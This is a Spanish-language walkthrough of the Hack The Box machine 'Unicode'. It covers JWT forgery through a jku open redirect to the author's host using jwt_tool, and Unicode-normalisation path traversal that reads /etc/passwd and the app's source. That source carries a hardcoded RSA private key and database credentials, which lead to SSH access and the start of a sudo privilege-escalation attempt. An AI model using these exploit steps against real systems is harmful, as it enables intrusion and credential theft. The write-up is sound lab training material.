This page looks best with JavaScript enabled

Hack The Box - Unicode

 •  ✍️ sckull

Unicode presenta un sitio web donde obtuvimos acceso modificando un token JWT, para luego realizar Path Traversal utilizando caracteres Unicode lo que nos permitio acceder al codigo fuente y a la máquina. Finalmente escalamos privilegios obteniendo el codigo fuente de un fichero en python y realizando ‘bypass’.

Nombre Unicode box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.126
Maker

webspl01t3r

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.7, 5.3, 4.7, 5.3, 4.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[9, 8, 1, 9, 2],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Nmap 7.91 scan initiated Sun Nov 28 22:52:24 2021 as: nmap -sS -p- --open -Pn --min-rate 3000 -o nmap 10.10.11.126
Nmap scan report for 10.10.11.126 (10.10.11.126)
Host is up (0.13s latency).
Not shown: 36823 closed ports, 28710 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sun Nov 28 22:53:02 2021 -- 1 IP address (1 host up) scanned in 38.76 seconds

Web Site

El sitio web presenta un botton el cual redirige hacia google.com vemos que es un redireccionamiento por medio de: /redirect/?url=google.com. Además vemos dos direcciones de Login y Register.
image

La direccion del Login presenta un formulario para el ingreso de usuarios.
image

Register muestra un formulario de registro de usuarios.
image

Auth - User

Tras registrar un usuario e ingresar, vemos un dashboard con multiples opciones. Observamos en el footer que el sitio esta “desarrollado” con Flask.
image

  • En la opción Buy Now presenta un formluario que tras llenarlo nos redirige hacia una página donde muestra un mensaje, aunque no envia ningun tipo de dato al servidor.
  • Upload a Threat Report permite subir unicamente documentos: .pdf y .doc, segun el formulario.
1
2
3
4
<form action="" method="POST"  enctype="multipart/form-data">
    <input type="file" name="threat_report" accept=".pdf" accept=".doc" placeholder="Upload a threat report" >
    <input type="submit" value="submit">
</form>    

Tras enviar un documento muestra un mensaje igual al de Buy Now, y no muestra algun directorio donde el archivo fue subido.
image

Directory Brute Forcing

Ejecutamos feroxbuster para busqueda de alguna direcci+on donde se muestren los archivos subidos. Vemos multiples direcciones nuevas,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 π ~/htb/unicode ❯ feroxbuster -u http://10.10.11.126 -w $MD --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.126
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD      515l      959w     9294c Got 200 for http://10.10.11.126/0767de18e01d42a7863c5c8df86de1c8 (url length: 32)
WLD         -         -         - Wildcard response is static; auto-filtering 9294 responses; toggle this behavior by using --dont-filter
WLD      515l      959w     9294c Got 200 for http://10.10.11.126/34abe8d47693416083b09823c08d9a41d51029dde825409b91041f4b13f936ff3794bbd6910b4ed49c61c3bae402e750 (url length: 96)
308        4l       24w      258c http://10.10.11.126/login
308        4l       24w      264c http://10.10.11.126/register
308        4l       24w      260c http://10.10.11.126/upload
308        4l       24w      264c http://10.10.11.126/redirect
308        4l       24w      262c http://10.10.11.126/display
308        4l       24w      262c http://10.10.11.126/pricing
308        4l       24w      260c http://10.10.11.126/logout
308        4l       24w      264c http://10.10.11.126/checkout
308        4l       24w      258c http://10.10.11.126/error
308        4l       24w      266c http://10.10.11.126/dashboard
308        4l       24w      264c http://10.10.11.126/internal
308        4l       24w      258c http://10.10.11.126/debug
[####################] - 52m   220545/220545  0s      found:14      errors:6
[####################] - 52m   220547/220545  69/s    http://10.10.11.126
  • /display , redirige hacia una pagina donde muestra: unauthorise_.attempt = true;,
  • /internal , muestra NoneType: None.
  • /debug , muestra codigo 502.

Json Web Token

En los Headers del sitio encontramos un Json Web token.

1
2
3
4
5
6
7
8
9
GET /dashboard/ HTTP/1.1
Host: 10.10.11.126
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidXNlciJ9.Msmk7qygAW055YytGXMy4Zrf1w5WLsZ661ZTWJS50dFe64k1PigWeZkGZByGPZzSAFdYU2LfSR52ogWZqUjzdPeq3yBrrKRz5Sq3tv4fch2nN-l3CdsCk0c5K_GjIpwgQ-SP1DKVsse3deJlsZ8gtykXDyo5se24_TFcbudZSCTxoUK7Q5j3YdxlXZjI0RqQOptd4-O5ZCL4w1yl6NaHLDREH3NTZ5O5awbglOjifev-fvwW3_BBrX-c-o70xyxh98hCo8oSnQYv8Q3X16tJJiUoVZVrnn1xYM-mU-OlEidWzcsoPNIbkJjLwkQNpMDeQUoXv-QWMNcEb2WFBVqeTw
Upgrade-Insecure-Requests: 1

Tras revisar el token en jwt.io vemos en el Header el parametro “jku” que apunta a un archivo json en el dominio hackmedia.htb.
image

Dicho dominio pertenece a la maquina, y el archivo json contiene un set de claves publicas (JSON Web Key Set) codificadas como se menciona en 1, 2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/unicode ❯ curl -s http://hackmedia.htb/static/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}
 π ~/htb/unicode ❯

JSON Set URL (jku)

La herramienta jwt_tool permite modificar un token incluso testear distintas vulnerabilidades. Su instalación es sencilla:

1
2
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests

Iniciamos almacenando la cookie en una variable de bash para luego ejecutar jwt_tool modificando la URL en “jku”, jwt_tool crearía el archivo jwttool_custom_jwks.json. Por ultimo debemos de crear un mini servidor para que se realice la solicitud y verifique el token con el json generado en nuestro servidor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π jwt_tool master ✗ ❯ export token_unicode=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidXNlciJ9.Msmk7qygAW055YytGXMy4Zrf1w5WLsZ661ZTWJS50dFe64k1PigWeZkGZByGPZzSAFdYU2LfSR52ogWZqUjzdPeq3yBrrKRz5Sq3tv4fch2nN-l3CdsCk0c5K_GjIpwgQ-SP1DKVsse3deJlsZ8gtykXDyo5se24_TFcbudZSCTxoUK7Q5j3YdxlXZjI0RqQOptd4-O5ZCL4w1yl6NaHLDREH3NTZ5O5awbglOjifev-fvwW3_BBrX-c-o70xyxh98hCo8oSnQYv8Q3X16tJJiUoVZVrnn1xYM-mU-OlEidWzcsoPNIbkJjLwkQNpMDeQUoXv-QWMNcEb2WFBVqeTw
 π jwt_tool master ✗ ❯ ./jwt_tool.py $token_unicode -I -pc "user" -pv "admin" -X s -ju "http://10.10.14.30/jwttool_custom_jwks.json"

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.5                \______|             @ticarpi      

Original JWT: 

Paste this JWKS into a file at the following location before submitting token request: http://10.10.14.30/jwttool_custom_jwks.json
(JWKS file used: jwttool_custom_jwks.json)
jwt_tool/jwttool_custom_jwks.json
jwttool_c8846d1ac0b95b56000c01b0ed3a5df5 - Signed with JWKS at http://10.10.14.30/jwttool_custom_jwks.json
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4xMC4xNC4zMC9qd3R0b29sX2N1c3RvbV9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.dENecglCQTEdpndUDnqY4O7XtYd5QiTvWn9fIr3LJq-jFHeL_0FY9QgaONb2R94kJBAogYfJhPRyRuCFrfMfaGOQqJSdWCSAfCH5_0JqZ91h5c6lXJR9DWTCA_ERbVvGiOAQB1OXqsiY09Q7jCautZPLyM_AdyZnQEixVNTUiZPWJ6nZr2TQTv0Pr4XyCfOXAqnLYqnbZJ9LNpgnit9CQQBN_w8OAvs2SGVwC7d4qJQulpfSIZVdKPfZH7OcMKWWKHT8rXQGF2kIg8cEqYcZE-1yvY6FKBwf3BjSCNP9qQXQGGzz7ud7uN_K9c-qEj0eazm4ORmKjlsuzceEXqPERw
 π jwt_tool master ✗ ❯

Tras haber generado el token nuevo, lo utilizamos en el sitio, sin embargo nos mostró un mensaje, muestra que el parametro “jku” es invalido.

1
jku validation failed

admin - Web Site

Realizando distintas pruebas con el redireccionamiento (/redirect/?url=10.10.14.30/jwttool_custom_jwks.json) no nos permitió acceder a nuestro servidor, sin embargo encontramos que el sitio unicamente muestra el error cuando no existe http://hackmedia.htb/static/ en la URL. Utilizamos ../ para “subir” un directorio lo cual nos permitiría acceder a redirect de tal forma: http://hackmedia.htb/static/../redirect/?url=[URL]. Tras generar el token con esta nueva URL obtuvimos una solicitud en el miniservidor, aunque no encontramos información nueva.

1
./jwt_tool.py $token_unicode -X s -ju "http://hackmedia.htb/static/../redirect/?url=10.10.14.30/jwttool_custom_jwks.json"

Por ello generamos nuevamente un token esta vez modificando el el usuario a “admin”.

1
./jwt_tool.py $token_unicode -I -pc "user" -pv "admin" -X s -ju "http://hackmedia.htb/static/../redirect/?url=10.10.14.30/jwttool_custom_jwks.json"

Tras modificar el token en el navegador, vemos un nuevo dashboard.
image

Path Traversal - Unicode

El nuevo sitio web unicamente muestra una pagina que recibe el nombre de un archivo .pdf, aunque solo muestra un mensaje.

image

Tras solicitar un archivo local nos muestra que existen algunos filtros en el sitio.

image

Intentando distintas formas de realizar bypass y diferentes “payloads” no encontramos alguna que mostrara algun archivo. Sin embargo el nombre de la maquina nos podría dar una idea de lo que podemos utilizar.

Tras investigar un poco sobre Unicode Bypass en Flask nos topamos con un post de Jorge Lajara - WAF Bypassing with Unicode Compatibility donde explica cómo funciona la normalizacion de caracteres unicode, además muestra un lista de payloads para ciertas vulnerabilidades utilizando ciertos caracteres unicode.

Tras utilizar el payload de Path Traversal obtuvimos el archivo /etc/passwd donde vemos al usuario code.

image

Codigo Fuente

Como sabemos estan utilizando Flask para el sitio web, sabiendo esto, logramos obtener el codigo fuente suponiendo el nombre del archivo principal (app.py). Vemos al inicio del archivo que carga la configuracion de la base de datos desde un archivo .yaml, (codigo fuente en Pestaña 2).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  [.. snip ..]

  db=yaml.load(open('db.yaml'))
  app.config['MYSQL_HOST']= db['mysql_host']
  app.config['MYSQL_USER']=db['mysql_user']
  app.config['MYSQL_PASSWORD']=db['mysql_password']
  app.config['MYSQL_DB']=db['mysql_db']
  app.debug=True

  [.. snip ..]
  ```
  
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
# http://hackmedia.htb/display/?page=%E2%80%A5/app.py

import base64
from MySQLdb import cursors
from flask import Flask, abort, request,render_template,make_response,redirect
from werkzeug.utils import secure_filename
import unicodedata
import os
import jwt
from flask_mysqldb import MySQL
import yaml
import requests
import json
import traceback
app = Flask(__name__)

db=yaml.load(open('db.yaml'))
app.config['MYSQL_HOST']= db['mysql_host']
app.config['MYSQL_USER']=db['mysql_user']
app.config['MYSQL_PASSWORD']=db['mysql_password']
app.config['MYSQL_DB']=db['mysql_db']
app.debug=True

mysql=MySQL(app)

@app.route('/')
def Welcome_name():
    return render_template("index.html")
@app.route('/register/',methods=['GET','POST'])
def register():
    if request.method=="GET":
    return render_template('register.html')
    if request.method=="POST":
    username=request.form.get('username')
    username=username.lower()
    if request.form.get('password')==request.form.get('password_confirm'):
        password=request.form.get('password')
        cur=mysql.connection.cursor()
        cur.execute("select username from user_info where username=%s",[username])
        data=cur.fetchall()
        cur.close()
        if len(data)==0:
        cur=mysql.connection.cursor()
        cur.execute("insert into user_info(username,password) values(%s,%s)",(username,password))
        mysql.connection.commit()
        cur.close()
        return redirect("/login",code=302)
        else:
        msg="User alreay exist"
        return render_template("register.html",msg=msg)
    else:
        msg="PASSOWRD DOSENT MATCH"
        return render_template('register.html',msg=msg)
@app.route('/login/',methods=['GET','POST'])
def login():
    if request.method=="GET":
    if request.cookies.get('auth'):
        return redirect("/dashboard/")
    else:
        return render_template('login.html')
    if request.method=="POST":
    priv=b'-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAxVwY8XrYwD+WcKU3hnpY0Jdkds9iv52GSK4TaQFoQ9hhyVEU\nNrbhr4CpVjlFHY2KwQ/bnB0eoeYaGbdN17bEUoXOLNVPHFM7LQ62gfT1Ia7KX+4V\nkjS9Awtcm0dm7L9hFaHFNLOndtN4VkEcLduO75TGIlk09Crc8wwLyhMpCzmj5uOd\ngaLe2ZODMmtNsWRAkqW1YLxciFzkwBZQZygjir0NSc+P+rOwOMwEahbU3lC2dT3W\nO6u9r1Ilw3SNvtpija+U/UlO6s0G3AEwFT30LJdnmJEksTHGBQ2wMEX8OzAmg7Gz\nsIBULkWMiqFvW1FPLdp8xayYarDweJQDZYVhywIDAQABAoIBABbQhrGjmdrffuyW\nrMyG6C100tBJOQkdlKBiPywsVXlCUkuLa+LHUV+QaALnq+22pwuaYbCyTRA6IVpH\nrl/5aMiBX0wffH2xwW17/e0X/B5grlRYmXXFUvQ/I/1vS56ioP53LOzit8EswQR3\nkmJatzNK53yhA1YWfmQ6SEKb5Gq/ksMG3T5BHi0GWkR7YmbfvqgcNTlWgmlKj3qp\n5JQWpaWea4tEtdoV06kciE8ugs4R0Tzd4NbjXGJiidoMY/mvcm7Ln425cYEJj+44\naGmOnoFLSNJaVk6mYWzXpOLZAjPDSROI+mYj1gRR9PROnvHVZWKsogBl+DMCq46h\n/GIqNwECgYEA+s7d17mrDFuo0qQfr8AP/ThVujwvmcBCtQsI/a0DrSHFRV1c9zK9\nTeKZ/0FqOFnNr4a+F7LKYT9PpsbOClJbNP7nLJXE64vQLQVB/IbkJ6bDw63LZRvX\nPFp3xr3ltMrQ+bjEkt3IHF0ae20II5W3mjaEPG7Gd/Gnpi61NF53LhECgYEAyXH8\nkoQr2IB3jduwN2mNYrc1Twb1QDhj9a4/W/yIsgIbJ4/8sjuJyehvm1Xb2f9axY6Q\nCpse4piYYnKSk3AqbSThVW+X4LgXlKR0Xe5Zhsf/F2072+822h1wRyqKR4xM5kbv\n5ruH9ZTi2K0Fll3rGhDzJ0ygoe0uGmWG2bNNJhsCgYEAqDjaORhSbt6HtIjaq/Hh\nh5EihuBZeQGofG/jXuqN3bEZ9LVzZmZE7JmBeuCwUw2A1StGEvUbovBpB06u4eNt\nQ3V5LsFhrC9BuQCeyrbbDvFeur+1/aIX0mZHkijKimHCmsxgJLXWw5d67LAr1lpU\nJH5OYY5XVhnivab0aSS3QVECgYAVZX8PTOyfTV3lem0oJZT35D/MSg/op1SutrhS\nG+ulBKY/uIJ9p+dFw+N+20rDx+SrUS4pgjpwlQayhjrdYC+RcjZg7b5zBvqyNhmK\nFJP7xehpY5fVD36DAld3p6QSX2uXlfdLSaXyRsMlgpMyWn1rQluhU/lH2bpo4VnG\na84I+wKBgQDKy7HGzCp6CXbiEUOlitZhST8eq8Dwk+bh9HGMMvrPCMPWBibshwl4\nDFi8Mol0XoiLgrc8fCu7/8wz0ctD+5R63rHG6/vZLsZEW2JsoWP/b/wCdXu/jdXU\nNWpjmc9EgSTEbqhKSSHoXt/Q3HKi770ps7Ajd4O50yu99GLZZ4kVHA==\n-----END RSA PRIVATE KEY-----\n'
    username=request.form.get('username').lower()
    password=request.form.get('password')
    if username=="admin":
        msg="Acces to admin account is been blocked"
        return render_template("login.html",msg=msg)
    else:
        cur=mysql.connection.cursor()
        cur.execute("select username,password from user_info where username=%s and password=%s",(username,password))
        data=cur.fetchall()
        if len(data)!=0:
        creds=data[0]
        if username==creds[0] and password==creds[1]:
            token=jwt.encode({"user": username}, priv, algorithm="RS256",headers={"jku":"http://hackmedia.htb/static/jwks.json"},)
            resp=make_response(redirect('/dashboard/'))
            resp.set_cookie('auth', token)
            return resp
        else:
        msg="user doesnt exist"
        return render_template("login.html",msg=msg)
@app.route("/logout/")
def logout():
    resp=make_response(redirect('/login/'))
    resp.set_cookie('auth','',expires=0)
    return resp
@app.route("/dashboard/",methods=["GET","POST"])
def dashboard():
    if request.cookies.get('auth'):
    auth_cookie=request.cookies.get('auth')
    try:
        token_head=auth_cookie.split(".")[0]
        if len(token_head)%4!=0:
        no_equal_adder=4-len(auth_cookie.split(".")[0])%4
        equal_adder=no_equal_adder*"="  
        token_head=token_head+equal_adder
        decoded_token=base64.urlsafe_b64decode(token_head).decode('utf-8')
        url=decoded_token.split('"jku"')[1].lstrip(":").rstrip("}").strip('"')
        if '"' in url:
        url=url.replace('"',"")
        url=url.strip('\n')
        url=url.strip()
        print(len(url))
        if url.startswith("http://hackmedia.htb/static/"):
        resp=requests.get(url)
        data=json.loads(resp.text)
        jwk=data["keys"][0]
        key=jwt.algorithms.RSAAlgorithm.from_jwk(json.dumps(jwk))
        decoded_token=jwt.decode(auth_cookie, key , algorithms=["RS256"])
        else:
        return "jku validation failed"
    except:
        return render_template("login.html")
    if decoded_token['user']=="admin":
        return render_template("admin_dashboard.html")
    else:
        return render_template("user_dashboard.html",username_send=decoded_token['user'])
    else:
    return render_template("login.html")
@app.route('/display/',methods=['GET'])
def display():
    if request.cookies.get('auth'):
    auth_cookie=request.cookies.get('auth')
    admin_check=""
    try:
        token_head=auth_cookie.split(".")[0]
        if len(token_head)%4!=0:
        no_equal_adder=4-len(auth_cookie.split(".")[0])%4
        equal_adder=no_equal_adder*"="  
        token_head=token_head+equal_adder
        decoded_token=base64.urlsafe_b64decode(token_head).decode('utf-8')
        url=decoded_token.split('"jku"')[1].lstrip(":").rstrip("}").strip('"')
        if '"' in url:
        url=url.replace('"',"")
        url=url.strip('\n')
        url=url.strip()
        if url.startswith("http://hackmedia.htb/static/"):
        resp=requests.get(url)
        data=json.loads(resp.text)
        jwk=data["keys"][0]
        key=jwt.algorithms.RSAAlgorithm.from_jwk(json.dumps(jwk))
        admin_check=jwt.decode(auth_cookie, key , algorithms=["RS256"])
        else:
        return "JKU validation Falied"
    except:
        return redirect('login')
    if admin_check['user']=="admin":
        if request.args.get('page'):
        page=request.args.get('page')
        page=page.lower()
        file_to_send=""
        if "../" in page or page.startswith("/etc") or page.startswith("/proc") or page.startswith("/usr") or page.startswith("usr") or page.startswith("etc") or page.startswith("proc"):
            return redirect("/filenotfound/",code=302)
        else:
            safe_page=unicodedata.normalize('NFKC', page)
            safe_page_folder=os.getcwd()+"/"+"files/"+safe_page
            try:
                with open(safe_page_folder,"r") as fd:
                    file_to_send=fd.readlines()
                file_to_send_string=''.join([str(elem) for elem in file_to_send])
                return str(file_to_send_string)
            except:
                msg=safe_page+" Not found"
                return render_template("404.html",msg=msg)
        else:
        return "Missing Parameter"
    else:
        return redirect("/unauth_error/",code=302)
    else:
    return redirect("/unauth_error/",code=302)
@app.route("/redirect/",methods=["GET"])
def test():
    url="http://"+request.args.get("url")
    return redirect(url,code=302)
@app.route("/upload/",methods=["GET","POST"])
def file_upload():
    try:
    if request.method=="GET":
        if request.cookies.get('auth'):
        return render_template("upload.html")
    if request.method=="POST":
        allowed_files=["pdf","docx","php","py","asp"]
        f = request.files['threat_report']
        user_supplied_extension=f.filename.rsplit('.',1)
        if user_supplied_extension[1] in allowed_files:
        return render_template("thanks.html")
        else:
        return "file not allowed"
    except:
    return "Please select a file to upload."
@app.route("/debug/")
def debug():
    debug_value=request.args.get("value")
    if debug_value==0:
    return "debug is disabled"
    else:
    return render_template("debug.html")
@app.route("/pricing/")
def pricing():
    return render_template("pricing.html")
@app.route("/checkout/")
def checkout():
    return render_template("checkout.html")
@app.route("/purchase_done/")
def purchase():
    return render_template("thanks_purchase.html")
@app.route('/error/',methods=["GET"])
def error():
    return render_template("404.html")
@app.route("/filenotfound/")
def error_from_page():
    msg="we do a lot input filtering you can never bypass our filters.Have a good day"
    return render_template("404.html",msg=msg)
@app.route("/unauth_error/",methods=["GET"])
def unauth():
    msg="unauthorized access"
    return render_template("401.html",msg=msg)
@app.errorhandler(404)
def not_found(e):
    return render_template("404.html")
@app.route("/internal/")
def internal_error():
    #return "500 error caught"
    return traceback.format_exc()
if __name__ == "__main__":
    app.run(host='0.0.0.0')

User - Code

Tras obtener el archivo db.yaml vemos las credenciales del usuario code.

1
2
3
4
5
#http://hackmedia.htb/display/?page=%E2%80%A5/db.yaml
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Con estas credenciales logramos acceder por SSH y obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 π ~/htb/unicode ❯ ssh code@hackmedia.htb # B3stC0d3r2021@@!
The authenticity of host 'hackmedia.htb (10.10.11.126)' can't be established.
ECDSA key fingerprint is SHA256:0ItJgn3BqbEjsSvZRBYXQDCZL7YXnpldg3UdP1Bl4nE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hackmedia.htb' (ECDSA) to the list of known hosts.
code@hackmedia.htb's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 07 Dec 2021 01:05:51 AM UTC

  System load:  0.0               Processes:             314
  Usage of /:   82.1% of 3.87GB   Users logged in:       0
  Memory usage: 40%               IPv4 address for eth0: 10.10.11.126
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov 29 14:14:14 2021 from 10.10.14.23
code@code:~$ whoami; id
code
uid=1000(code) gid=1000(code) groups=1000(code)
code@code:~$ ls
coder  user.txt
code@code:~$ cat user.txt
f3f28b5a71e4771d7fc1b02b2007c2db
code@code:~$

Privesc

Enumerando los comandos que pueden ser ejecutados con “sudo” vemos /usr/bin/treport.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
code@code:~$ sudo -l -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
    /usr/bin/treport
code@code:~$

Tras ejecutar algunas de las opciones podemos observar que esta utilizando el archivo treport.py y que el directorio donde almacena los informes es /root/reports/, además al intentar descargar un informe vemos que utiliza curl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:123
Enter the report:abc.txt
Traceback (most recent call last):
  File "treport.py", line 74, in <module>
  File "treport.py", line 13, in create
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/123'
[4827] Failed to execute script 'treport' due to unhandled exception!
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:10.10.14.30/x
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /root/reports/threat_report_01_19_13: No
Warning: such file or directory
100   469  100   469    0     0   1657      0 --:--:-- --:--:-- --:--:--  1657
curl: (23) Failed writing body (0 != 469)
Enter your choice:^[[D
Wrong Input
code@code:~$

El archivo treport.py parece no existir en la maquina, además al ejecutar strings sobre el comando treport se muestran algunas palabras relacionadas a librerias de python.

1
2
code@code:~$ find / -name treport.py 2>/dev/null
code@code:~$

Unpacking Pyinstaller

Suponiendo que es un archivo generado con Python utilizamos archive_viewer de pyinstaller, por medio de apt instalamos este ‘comando’. Además copiamos el binario a nuestra maquina local.

1
2
sudo apt install python3-pyinstaller
# path de instalación - /usr/bin/pyi-archive_viewer

Ejecutamos archive_viewer sobre el archivo, vemos una lista de archivos o ’librerias’, extraemos treport y struct.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 π ~/htb/unicode/binary ❯ /usr/bin/pyi-archive_viewer treport
 pos, length, uncompressed, iscompressed, type, name
[(0, 230, 311, 1, 'm', 'struct'),
 (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
 (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
 (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
 (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
 (12444, 817, 1372, 1, 's', 'pyiboot01_bootstrap'),
 (13261, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
 (13957, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
 (15091, 445, 672, 1, 's', 'pyi_rth_inspect'),
 (15536, 1505, 2646, 1, 's', 'treport'),
 [.. snip ..]
 (708193,
  8057,
  31072,
  1,
  'b',
  'lib-dynload/termios.cpython-38-x86_64-linux-gnu.so'),
 (716250, 30681, 74848, 1, 'b', 'libbz2.so.1.0'),
 (746931, 1312123, 2954080, 1, 'b', 'libcrypto.so.1.1'),
 (2059054, 65500, 182560, 1, 'b', 'libexpat.so.1'),
 (2124554, 18359, 43416, 1, 'b', 'libffi.so.7'),
 (2142913, 80552, 162264, 1, 'b', 'liblzma.so.5'),
 (2223465, 92940, 224008, 1, 'b', 'libmpdec.so.2'),
 (2316405, 2075205, 5449112, 1, 'b', 'libpython3.8.so.1.0'),
